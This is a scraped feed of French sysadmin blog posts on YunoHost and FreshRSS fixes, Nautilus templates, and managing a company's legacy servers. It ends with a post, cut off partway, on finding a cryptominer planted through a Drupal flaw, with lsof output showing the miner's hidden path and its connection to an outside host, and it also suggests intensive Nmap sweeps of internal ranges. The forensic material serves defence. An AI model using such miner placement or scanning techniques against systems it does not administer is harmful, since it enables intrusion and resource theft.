		<div class='rss_texte'><p>Jusqu'à présent, Yunohost n'était compatible avec Debian 9 Stretch (uniquement Debian 8 Jessie). <a href="https://forum.yunohost.org/t/beta-testing-phase-for-yunohost-3-0-on-debian-stretch/" title="Beta-testing phase for YunoHost 3.0 on Debian Stretch">A l'annonce du passage en phase de test Beta sur le forum pour la compatibilité Debian 9</a>, ayant un peu de temps, pour tester, je me suis lancé.</p>
<p><strong>Yunohost 3.0 ?</strong></p>
<p>Actuellement la version stable est la version 2.7.x. La version 3 apporte la compatibilité avec Debian 9 : une migration sur une instance déjà installée fait que la machine passe sous Debian 9. On a alors des versions plus récentes de PHP (passage de 5 à 7), ce qui sera mieux pour les futures versions à venir de Nextcloud qui nécessitent Php7. Et on est enfin sous Debian 9. Et ça c'est cool aussi.</p>
<p><strong>Test dans une machine virtuelle clone de mon instance de production</strong></p>
<p>Pour avoir un bac à sable qui ne craint rien, j'ai refait un clone complet via Clonezilla de mon instance de production (et j'ai ainsi un backup complet tout frais, en plus des sauvegardes régulières) que j'ai réimporté dans une nouvelle VM Virtualbox. Pour me connecter à celle-ci, j'ai modifié mon fichier hosts pour que l'IP de la VM corresponde aux noms de domaines de mon Yunohost de production. Je résume vite fait car je me suis basé sur mon expérience précédente abordée dans les billets précédemment écrit <a href="https://blog.genma.fr/?Yunohost-dans-Virtualbox" title="Yunohost dans Virtualbox">Yunohost dans Virtualbox</a> et <a href="https://blog.genma.fr/?Yunohost-Clonezilla-et-Virtualbox" title="Yunohost, Clonezilla et Virtualbox">Yunohost, Clonezilla et Virtualbox</a></p>
<p><strong>Et j'ai trouvé des bugs</strong></p>
<p>J'ai ainsi pu tester plusieurs fois la migration (et repartir du snapshot fonctionnel de la VM), en indiquant à chaque fois les erreurs rencontrées, cherchant des solutions et contribuant ainsi, modestement, à mon niveau à Yunohost. Je suis assez content car mes tests ont permis de détecter des erreurs sur les applications suivantes Sonerezh et Nextcloud.</p>
<p><strong>Dont voici la correction...</strong></p>
<p><a href=https://forum.yunohost.org/t/beta-testing-phase-for-yunohost-3-0-on-debian-stretch/" title="Beta-testing phase for YunoHost 3.0 on Debian Stretch">Le détail et toute la démarche faite durant quelques heures passées à comprendre et chercher est sur le forum</a>, je donne directement les solutions :</p>
<p><strong>Sonerezh</strong></p>
<p>Il y a deux lignes où il y a des # et non des ; (ancien système de commentaire de PHP non compatible avec PHP 7).<br class='autobr' />
On édite le fichier de configuration pour faire la correction :</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>nano -l /etc/php/7.0/fpm/pool.d/sonerezh.conf</code></div>
<p><strong>Nextcloud</strong></p>
<p>Module PHP manquant conduisant à une erreur Interne (500 dans les logs)</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>apt-get install php7.0-apcu -y<br /> service nginx restart</code></div>
<p>J'ai au passage vu que les logs de Nextcloud ne sont pas dans /var/log/nginx/monsousdomaine.domaine.log (soit les logs du domaine nginx lié à Nextcloud) mais dans le fichier /home/yunohost.app/nextcloud/data/nextcloud.log</p>
<p>Reste à voir comment on peut faire pour ajouter tout ça en patch / proposée que ces corrections soient faites automatiquement dans les migrations et installations des applications dans YunoHost.</p>
<p>Sachant que pour Sonerezh, le code source de l'application en elle-même n'est plus maintenue, il faut probablement ajouter la modification dans le script de migration ou d'installation de Sonerezh en tant qu'application YunoHost. A voir.</p>
<p><strong>Migrer ou non ?</strong></p>
<p>La version est encore en Beta. Je ne l'ai pas testé assez longtemps pour voir si il n'y a pas d'autres soucis. J'attendrai donc la sortie officielle en version stable courant juin pour migrer mon instance de production (que j'utilise tous les jours), en attendant, dès que j'ai un peu de temps, je continuerai sur l'instance de test dans Virtualbox pour voir comment je peux continuer à aider un peu un projet que j'utilise quotidiennement. La moindre des choses étant, à mon niveau, d'aider un peu.</p>
<p>Mais dès à présent, de ce que j'ai pu voir, les applications suivantes sont fonctionnelles : Amapache, Dokuwiki, FreshRSS, Kanboard, Shaarli, Roundcube, Wallabag, Sonerezh (suite à la correction), WemaWema, Phpmyadmin et Nextcloud. Reste quand même à tester ça en profondeur.</p></div>
		
		


feed_id: https://blog.genma.fr/?Chatonkademy-Billet-No3-FreshRSS-Yunohost-et-plusieurs-utilisateurs
title: Chatonkademy - Billet N°3 - FreshRSS, Yunohost et plusieurs utilisateurs
uri: Chatonkademy-Billet-N-3-FreshRSS-Yunohost-et-plusieurs-utilisate
url: https://blog.genma.fr/?Chatonkademy-Billet-No3-FreshRSS-Yunohost-et-plusieurs-utilisateurs
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2751.png?1526153588' width='150' height='99' />
		<div class='rss_texte'><p><strong>Série de billets sur le projet Chatonkademy</strong></p>
<ul>
<li>Billet N°0 <a href="https://blog.genma.fr/?Chatonkademy-Billet-No0-Presentation-du-projet" title="Chatonkademy - Billet N°0 - Présentation du projet">Billet N°0 - Présentation du projet</a></li>
<li>Billet N°1<a href="https://blog.genma.fr/?Chatonkademy-Billet-No1-Les-utilisateurs" title="Chatonkademy - Billet N°1 - Les utilisateurs"> Billet N°1 - Les utilisateurs</a></li>
<li>Billet N°2<a href="https://blog.genma.fr/?Chatonkademy-Billet-No2-Ansible-pour-les-mises-a-jour" title="Chatonkademy - Billet N°2 - Ansible pour les mises à jour">Ansible pour les mises à jour</a></li>
</ul>
<p>Dans ce billet je voudrais parler du cas de FreshRSS sur Yunohost avec plusieurs utilisateurs. Pour rappel, FreshRSS est une application de type agrégateur RSS, fort pratique (on peut se connecter dessus via son API pour avoir une application mobile avec EasyRSS (voir <a href="https://blog.genma.fr/?Yunohost-FreshRSS-et-EasyRSS-pour-Android" title="Yunohost, FreshRSS et EasyRSS pour Android">Yunohost, FreshRSS et EasyRSS pour Android</a>).</p>
<p>A la suite de la création et de l'installation de l'instance Yunohost, j'ai créer un utilisateur pour moi (Genma), qui est l'utilisateur par défaur puis installer différentes applications dont FreshRSS. J'ai ensuite fait <a href="https://blog.genma.fr/?Chatonkademy-Billet-No1-Les-utilisateurs" title="Chatonkademy - Billet N°1 - Les utilisateurs">la création des utilisateurs en masse</a> (une quarantaine) sur cette instance.</p>
<p>L'application n'est pas une application publique et partagée, chaque utilisateur a donc l'application disponible pour lui et aura la gestion de son propre contenu.</p>
<p>Le soucis est que les différents utilisateurs au moment du premier usage de FreshRSS (et des fois suivantes), rencontraient différents soucis : pas de possibilité d'importer un fil RSS, pas de possibilité de changement de langue...</p>
<p>La solution est de reprendre le répertoire FreshRSS de l'utilisateur qui était là à l'installation de FreshRSS et de dupliquer ce répertoire nécessaire au bon fonctionnement de FreshRSS.</p>
<p>Cela se fait via</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>cd /var/www/freshrss/data/users<br /> # On prend comme liste d'utilisateurs ceux qui ont un dossier dans /home (créer automatiquement par Yunohost, à l'exception des dossiers Yuno*<br /> for user in `ls /home -I yuno*` do <br /> # On copie le dossier existant de l'utilisateur qui était initialement présent avant l'installation de FreshRSS<br /> cp -R genma/ $user <br /> # on change les droits car il faut que ce soit www-data le propriétaire du dossier<br /> chown -R www-data: ./$user<br /> done</code></div>
<p>On remarque donc que <i>les données</i> pour l'application FreshRSS dans Yunohost se trouvent dans le dossier /var/www/freshrss/data/users/<br class='autobr' />
Ces données sont un fichier config.php qui contient des préférences / paramétrage de l'application et un fichier de log, log.txt qui contient des logs spécifiques à l'application (différents des logs liés à nginx qui se trouvent dans /var/log/nginx/).</p>
<p>Les données (fils RSS auxquels on est abonné, catégorie, lu ou non lu...) sont dans la base de données et sont bien sauvegardées <a href="https://github.com/YunoHost-Apps/freshrss_ynh/blob/master/scripts/backup" title="YunoHost-Apps/freshrss_ynh script de backup">par le script de l'application</a>. Seul le paramétrage de l'interface n'est donc pas sauvegardé par défaut. A prendre en compte dans le processus de sauvegarde.</p></div>
		
		


feed_id: https://blog.genma.fr/?Lifehacking-Avoir-des-templates-de-documents-dans-Nautilus
title: Lifehacking - Avoir des templates de documents dans Nautilus
uri: Lifehacking-Avoir-des-templates-de-documents-dans-Nautilus
url: https://blog.genma.fr/?Lifehacking-Avoir-des-templates-de-documents-dans-Nautilus
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2747.jpg?1526114448' width='150' height='79' />
		<div class='rss_texte'><p>J'ai récemment migrer sous la dernière version LTS d'Ubuntu, la 18.04, et je suis passé d'un environnement Unity (que j'utilisais depuis le début et auquel je suis resté fidèle au fil des versions) à un environnement Gnome. J'utilisais régulièrement la création de fichier vide dans un dossier de Nautilus avec un clic droit, créer un fichier et je ne retrouvais pas cette fonctionnalité dans ma nouvelle version d'Ubuntu. J'ai cherché un peu et en fait, c'est plus complet que ce que je ne pensais.</p>
<p><i>Dans le Home de l'utilisateur vous avez un dossier Modèles (ou Templates en anglais), tous les fichiers qui y figureront pourront être créés par un clic droit, vides ou contenant le texte que vous souhaitez. Bien évidemment les fichiers s'ouvriront avec les programmes par défaut de votre environnement.</i> Source <a href="http://geekeries.de-labrusse.fr/?p=2687" title="Ajouter un nouveau fichier par un clic droit avec Nautilus">Ajouter ‘un nouveau fichier' par un clic droit avec Nautilus</a>.</p>
<p><span class='spip_document_2549 spip_documents spip_documents_center'>
<img src='https://blog.genma.fr/IMG/png/gnome_create_from_template.png?1526114394' width='500' height='259' alt="" /></span></p>
<p>Ayant découvert que l'on pouvait donc ajouter ses propres modèles, j'ai alors déposer tout un tas de fichier <i>template</i> / modèle que j'ai déjà préparé dans différents formats : dès fichiers LibreOffice de différents types déjà formatés (tableau pour Calc, Présentation, Document avec en-tête et pied de page...) et des fichiers textes (Structure de billets de blogs, <a href="https://blog.genma.fr/?Lifehacking-Gitlab-outil-ideal" title="Lifehacking - Gitlab, outil idéal ?">de fichiers de Markdown pour le Wiki</a></p>
<p>Avant, j'allais dans mon dossier de référence de template, je copiais le fichier de modèle, allait dans le dossier de travail / projet, je collais le fichier, je le renommais. Désormais, je n'ai plus qu'à faire qu'un clic droit dans n'importe quel dossier, je crée un fichier du type que je veux avec une structure déjà prédéfinie, je le renomme et je gagne du temps. Une nouvelle astuce qui m'est bien utile au quotidien.</p></div>
		
		


feed_id: https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-retour-d-experience
title: Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0
uri: Devenir-SysAdmin-d-une-PME-retour-d-expérience-Billet-n-0
url: https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-retour-d-experience
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2752.jpg?1526238614' width='150' height='79' />
		<div class='rss_texte'><p><strong>Introduction</strong></p>
<p>Depuis mes débuts sous Linux, j'ai toujours su taper des commandes. Très tôt, j'ai appris à installer différents services et des serveurs (essentiellement dans des machines virtuelles et pour faire du LAMP : Linux, Apache, MySQL, PHP), mais c'est toujours resté de la <i>bidouille</i>. Avec le début de mon autohébergement fin décembre 2015, j'ai commencé à m'intéresser aux problématiques d'administration système. A l'été 2016, pendant les vacances, j'ai mes débuts véritable en sysadmin - administration système en cherchant à comprendre comment fonctionnait Yunohost dans ses entrailles, les différents services, en cassant et restaurant sans soucis à plusieurs reprises mon instance de production... J'ai donc appris et pas mal progressé à titre personnel, en gérant mon instance Yunohost, soit un seul serveur.</p>
<p>Pourtant, à côté, j'ai continué à m'intéresser à une gestion plus <i>professionnelle et industrielle</i> et en début de cette année 2018, je me suis vu affecter la reprise de la gestion de toute l'infrastructure de la société dans laquelle je travaille. Cette prise de fonction et de responsabilité a été décidé dans le cadre d'une restructuration des services : gérer les services de production, de support et d'infrastructure interne et liée à nos clients permet d'avoir une meilleur vision d'ensemble, plus de réactivité...</p>
<p>Comme toute nouvelle prise de fonction, les précédentes personnes ayant eu à gérer le service sont parties faire d'autres horizons bien qu'une passation de connaissances s'est faite, elle s'est faite rapidement.</p>
<p>Et avec les semaines, on découvre que même si une documentation existe (répartie dans plusieurs wikis), elle n'a pas été maintenue à jour, n'est pas assez détaillée ou obsolète... Et avec le temps il y a des choses qui marchent mais on ne sait pas comment, il y a <i>des serveurs qu'on ne touche pas</i>, des <i>services qui tournent alors on ne touche à rien</i>. Tout cet héritage et empilage de choix technique mis en place avec les années par les différents administrateurs systèmes qui se sont succèdés, c'est ce que j'appellerai <i>le legacy</i>, soit l'héritage.</p>
<p><i>Contexte de l'infrastructure</i> Je pense qu'il est important, pour la suite des billets que j'aurai à rédiger, de préciser, que l'infrastructure actuelle se compose de trois grandes catégories de machines et ces catégories ont leurs importances :
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Les machines physiques : 99% des serveurs sont sous Debian, dans différentes versions
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Les machines virtuelles sur un hyperviseur : Xen et Proxmox
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Les machines cloud (<i>sur l'hyperviseur d'un autre</i>)</p>
<p>Un travail de modernisation avec le passage à des technologies plus évolutives et flexibles (virtualisation, Docker / K8S Kubernetes...) a été débuté mais il reste encore beaucoup de "une machine physique ou virtuelle pour un service dédié" avec autant de système d'exploitations et d'applications à maintenir et à découvrir...</p>
<p>Je pense que je ferai là encore, une série de billets au fur et à mesure de ma progression et sur comment j'ai commencer à dresser une cartographie détaillé de l'existant, documenter de novo en reprenant TOUTE la documentation existante pour la remettre d'aplomb... Et dans le futur, je parlerai de mon expérience dans la mise en place de nouveau service, dans la refonte et modernisation de l'infrastructure...</p>
<p>L'objectif de ma série de billets ces prochains mois sera le partage de mon expérience acquise avec le temps, le partage de bonnes pratiques mises en places, d'astuces etc. En complément de ma série de billets plus spécifiques sur le projet <a href"https://blog.genma.fr/?-Chatonkademy-101-" title="Chatonkademy - mes billets">Chatonkademy</a>.</p>
<p><strong>Les commandes que j'utilise le plus</strong></p>
<p>Pour finir ce premier billet un peu fourre-tout, je voudrais parler des commandes que j'utilise le plus au quotidien. A l'heure actuelle, quand l'outil de supervision (sous Zabbix) remonte des alertes, je me connecte en SSH sur les machines et voici les commandes que j'utilise le plus :
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> ncdu
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> ls -lrtu
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> tail -f /var/log/le_fichier_de_log_qui_va_bien</p>
<p><strong>ncdu</strong> Habitué de la commande du dont je ne me rappelle jamais les options pour avoir uniquement le niveau 1 (réponse du -h —max-depth=1 .), j'ai découvert et depuis je ne m'en passe plus et l'installe sur tous les serveurs la commande ncdu, soit NCurses Disk Usage. Simple, rapide et efficace, on a de suite l'espace disque occupé par un répertoire. Pratique pour de suite savoir quel dossier prend plein de place, et c'est très complémentaire à du, en ajoutant en plus un système de navigation au clavier dans l'arborescence scannée. Indispensable.</p>
<p><strong>ls -lrtu</strong> on liste les fichiers et on les trie par date pour de suite avoir en base de liste les derniers fichiers modifiés. Pratique pour savoir quel est le dernier fichier de logs qui vient d'être modifié (c'est le dernier de la liste), voir quel est le propriétaire et la date et heure de dernière écriture.</p>
<p>Pour ensuite faire dessus le classique</p>
<p><strong> tail -f /var/log/le_fichier_de_log_qui_va_bien</strong> J'ai dans les projets pour les mois à venir la mise en place d'un système de gestion des logs centralisés mais en attendant, à l'ancienne, je consulte les logs avec un tail -f et éventuellement du |grep motif_qui_va_bien pour filtrer affiner un peu.</p>
<p>Et pour le reste, il y a les commandes que j'évoquais dans mes billets :
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://blog.genma.fr/?Yunohost-Supervision-en-ligne-de-commande" title="Yunohost - Supervision en ligne de commande">Yunohost - Supervision en ligne de commande</a> <br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://blog.genma.fr/?Yunohost-Supervision-du-trafic-reseau" title="Yunohost - Supervision du trafic réseau">Yunohost - Supervision du trafic réseau</a></p></div>
		
		


feed_id: https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Gestion-du-legacy-Billet-no1
title: Devenir SysAdmin d'une PME - Gestion du legacy- Billet n°1
uri: Devenir-SysAdmin-d-une-PME-Gestion-du-legacy-Billet-n-1
url: https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Gestion-du-legacy-Billet-no1
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2753.jpg?1526919094' width='150' height='79' />
		<div class='rss_texte'><p>Ce billet fait partie de la série :
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-retour-d-experience" title="Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0">Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0</a></p>
<p><strong>Le legacy ?</strong></p>
<p>Dans le présent billet je voudrais parler du legacy. Sous le terme de legacy ou héritage en anglais, j'inclue l'ensemble des machines et serveurs du système d'information que l'on a en gestion, et dont, on hérite d'une certaine façon en reprenant la gestion du parc informatique.</p>
<p>En quoi est-ce un point important ? Afin de pouvoir aller vers l'avenir, il faut déjà regarder le passé et faire un état des lieux. L'objectif est d'avoir une parfaite vue d'ensemble des machines, de leurs rôles, de leurs criticités... De savoir ce qui est documenté et ce qui ne l'est pas, de savoir quelle machine sert à quoi...</p>
<p>En premier lieu il est important de dresser un inventaire exhaustif du par informatique côté serveur (dans un premier temps on exclue les postes utilisateurs : chacun est administrateur de sa machine, sous une distribution GNU/Linux de son choix et cela simplifie grandement les choses en terme de maintenance des postes utilisateurs...)</p>
<p><strong>Dresser une cartographie complète de l'existant</strong></p>
<p>A ma connaissance, il y a deux façons : la façon <i>barbare</i> et <i>la façon longue et fastidieuse</i></p>
<p><i>La façon barbare</i> : Il faut préalable connaître l'ensemble des plages IP utilisées sur le réseau de l'entreprise et on fait alors un scan en mode intense via Nmap de l'ensemble des IP de ces plages, depuis une machine du réseau interne. Avec un peu de chance on se fait bannir rapidement par un outil de détection... ou pas.</p>
<p>Ce scan intense permet de savoir sur quelle IP quelle machine répond, d'avoir son OS et sa version, les ports ouverts... A moins que les machines soient bien configurées et sécurisées, cela donne une bonne idée des plages IP occupées, des machines qu'il y a derrière et donne une bonne base de travail.</p>
<p><i>La façon plus moderne</i></p>
<p>Avec un peu de chance un outil du type Ansible a été mis en place et les machines sont <i>ansiblelisées</i>. On pourra donc se baser (se reposer) sur des playbooks existants pour avoir une base pour interroger les machines de façon moins barbare.</p>
<p><i>la façon longue et fastidieuse</i></p>
<p>J'évoquais dans mon article précédent le fait que je ne pars pas de rien, j'ai connaissance d'une liste des machines, dont des hyperviseurs sur lesquels tournent des machines virtuelles. J'ai accès à ces hyperviseurs. Je me connecte donc au hyperviseurs et de là je me connecte aux machines virtuelles. Je notes les caractéristiques qui m'intéressent, je vois ce que ces machines contiennent en terme de services... Une à une, je me connecte à la machine et je note les informations pertinentes dans un tableau que j'enrichis au fur et à mesure.</p>
<p>Long. Très long. Mais cela m'a permis de valider que j'ai bien accès à chacune des machines (j'ai ensuite tester une connexion depuis ma machine en SSH pour valider que ma clef publique a bien été déployée sur chaque serveur par le système qui le fait de façon automatisée), que la machine est accessible, fonctionnelle...</p>
<p><strong>Tableau de suivi</strong></p>
<p>J'ai donc constitué un tableau dans un tableur pour faire mon suivi. Les colonnes sont les suivantes :
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Nom de machine, <br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> IP publique
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> IP privée
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Groupe
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Wiki : j'ai créer une page dédiée pour cette machine que j'enrichis au fur et à mesure
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Services
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Etat des sauvegardes : sauvegardée ou non
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Version de l'OS <br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Etat des mises à jour
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Présence ou non de fail2ban
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Liste des ports ouverts sur l'extérieur
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> Machine faisant partie de la liste des machines supervisées par notre outil (un billet complet sera dédié à la supervision).<br class='autobr' />
...</p>
<p><strong>Comment gérer le legacy ? Des O.S. obsolètes...</strong></p>
<p>Que ce soit des machines virtuelles ou physiques, le constat est bien ce que l'on pouvait redouter : des tas de machines sont souvent sous des versions obsolètes d'O.S. non maintenues... Il va y avoir du travail.</p>
<p>Il ne faut surtout pas se précipiter et migrer de version en version de Debian à coup de dist-upgrade. Il faut comprendre pourquoi ces machines ne sont pas à jour, quels logiciels et dans quels versions tournent sur ces serveurs... Dépendance à une version particulière de PHP ? La migration sur une version plus récente casse une API ? Les raisons sont multiples et avant de penser "Et la sécurité, vite faut mettre à jour", il faut penser "de toute façon ça tournait jusque là, donc on reste calme, on réfléchit et on avise".</p>
<p>Il faut prendre ça avec humour.</p>
<p><strong>Vu les uptime et les versions d'OS, vu que le parc informatique est composé à 99% de machine Debian en version stable (de différentes époques), je peux affirmer que oui, Debian stable, c'est stable.</strong></p>
<p><strong>Comment gérer le legacy ? Cas de la gestion des machines physiques</strong></p>
<p>Dans la liste des serveurs, il y a des machines qui sont des vrais serveurs physiques. On pense donc aux capacités de redondance : alimentations redondées, ventilateurs redondés, disques en RAID... Le soucis est que je ne sais pas quand les machines ont été achetés, elles tournent 24h sur 24h...</p>
<p>Dans une vie précédente, j'ai été confronté au cas suivant : des serveurs de plus de dix ans... Un ventilateur de la baie de disque a lâché. Pas grave, c'est redondé, on verra bien. Sauf que le deuxième ventilateur a tourné plus vite pour compenser la dissipation de chaleur nécessaire, a lâché quelques jours après. Interruption de la baie de disques et de la production, nécessité de renouveler du matériel en urgence et bien que sous garantie étendue par le constructeur, ils ont mis plusieurs jours à retrouver un modèle compatible au fin d'un stock à l'autre bout de la France et à le faire revenir... en urgence...</p>
<p>Cette expérience m'a marquée et depuis, je fais un check régulier des machines de la salle serveur. Un contrôle journalier des différents voyants des différents serveurs. L'objectif est de prévoir & anticiper les pannes.</p>
<p>Et surtout je commence à anticiper et à prévoir une migration de toutes les machines que je peux migrer sur des machines virtuelles avec des O.S. plus récent et ansiblelisés. L'intérêt de passer de machines physiques à des machines virtuelles dans un vraie data-center et de faire abstraction de la gestion du matériel et de délégué ça à des personnes dont c'est vraiment le métier...</p>
<p><strong>Comment gérer le legacy ? Lister les priorités et les services critiques</strong></p>
<p>Une fois que l'on a une cartographie un peu plus complète, il faut alors lister les machines critiques, avec leurs importances (serveur de mail, d'impression, DNS...) et au plus vite vérifier : <br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> que l'on a des sauvegardes et que l'on sait les restaurer ;
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> que ces sauvegardes marchent ;
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> que les machines sont à jour...</p>
<p>Il faut savoir pour chaque machine sa criticité, avoir un PRA (Plan de Rétablissement de l'Activité) et pour le cas des sauvegardes, partir du principe que si on ne sait pas, cela n'existe pas. Peut-être (et sûrement) qu'il y a des sauvegardes régulières et automatisées. Mais si on ne sait pas, on ne sait donc pas restaurer les données et les sauvegardes ne servent à rien en l'état. Donc là encore un gros chantier pour vérifier que tout est bien sauvegarder et avoir un système de sauvegarde uniforme, efficace et puissant (BORG !).</p>
<p><strong>Conclusion</strong></p>
<p>Un deuxième billet qui montre le début d'un long chantier que j'ai entamé avec plusieurs heures de travail par jour pendant des semaines.</p>
<p>Dans les prochains sujets, il y aura la Supervision, les Sauvegardes, la Sécurité, les montées en version et les mises à jours.... Encore plein de sujets et d'expériences à faire sur mon histoire et comment je deviens SysAdmin d'une PME. A suivre donc.</p></div>
		
		


feed_id: https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Mineur-de-bitcoin-Billet-no2
title: Devenir SysAdmin d'une PME - Mineur de bitcoin- Billet n°2
uri: Devenir-SysAdmin-d-une-PME-Mineur-de-bitcoin-Billet-n-2
url: https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-Mineur-de-bitcoin-Billet-no2
content:
<img class='spip_logo spip_logo_right spip_logos' alt="" style='float:right' src='https://blog.genma.fr/IMG/arton2755.jpg?1526922444' width='150' height='79' />
		<div class='rss_texte'><p>Ce billet fait partie de la série :
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> <a href="https://blog.genma.fr/?Devenir-SysAdmin-d-une-PME-retour-d-experience" title="Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0">Devenir SysAdmin d'une PME, retour d'expérience - Billet n°0</a></p>
<p>Comme le disait SebOS666 dans son billet <a href="https://blog.seboss666.info/2018/05/decoder-un-script-php-malveillant-comment-sen-proteger/" title="Décoder un script PHP malveillant, comment s'en protéger">Décoder un script PHP malveillant, comment s'en protéger</a>, les failles Drupal récentes (Drupalgeddon) étaient bien critiques et les sites non mis à jour ont conduit à l'infection de serveurs par des mineurs de bitcoin.</p>
<p>Attention :
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> je ne suis pas expert en sécurité, juste un sysadmin ayant un peu d'expérience. Et je suis preneur de tout complément d'information dans les commentaires. J'ai gardé les codes sources exactes, j'ai anonymisées certaines parties pour des raisons pratiques. Ce billet synthétise deux attaques différentes.
<br /><img src='https://blog.genma.fr/local/cache-vignettes/L8xH11/puce-32883.gif?1494182300' width='8' height='11' class='puce' alt="-" /> le but ici n'est pas d'analyser le problème Drupal (on est plus dans le domaine de la sécurité) que de montrer qu'en tant que sysadmin, on peut déjà faire des choses... Et la partie "PHP / Faille Drupal" est volontairement vide.</p>
<p><strong>Mineur de bitcoin Détection & Root Cause</strong></p>
<p>Détection : la supervision montre des graphs anormaux de charge processeur sur une machine qui héberge un site web.<br class='autobr' />
Une connexion SSH permet de lancer un htop qui donne un processus qui tourne à 100% depuis un moment...</p>
<p>Cause : exploitation d'une faille du site sous Drupal qui n'est pas dans la toute dernière version.</p>
<p><strong>Analyse des processus</strong></p>
<p>Via htop on a processus chron-34e2fg qui tourne à fond. Et on a son PID</p>
<p>un PID. La commande lsof donne le chemin du programme à la source :</p>
<div style='text-align: left;' class='spip_code' dir='ltr'><code>root@machine:~$ lsof -p le_PID<br /> COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME<br /> chron-34e 2059 www-data cwd DIR 202,1 4096 2 /<br /> chron-34e 2059 www-data txt REG 202,1 2368064 264466 /var/tmp/.jnks/chron-34e2fg<br /> chron-34e 2059 www-data 0r FIFO 0,8 0t0 478384 pipe<br /> chron-34e 2059 www-data 1u REG 202,1 46558 395911 /tmp/tmpfW5PPSg<br /> chron-34e 2059 www-data 2u REG 202,1 46558 395911 /tmp/tmpfW5PPSg<br /> chron-34e 2059 www-data 3u 0000 0,9 0 1202 anon_inode<br /> chron-34e 2059 www-data 8u 0000 0,9 0 1202 anon_inode<br /> chron-34e 2059 www-data 9r CHR 1,3 0t0 1204 /dev/null<br /> chron-34e 2059 www-data 10u IPv4 479092 0t0 TCP localhost:59304->ip56.ip-217-XXX-XXX.eu:https (ESTABLISHED)</code></div>
<p>On a tous les processus qui sont derrière ce PID et les fichiers incriminés à supprimer.</p>
<p>Autre cas avec un autre mineur :</p>
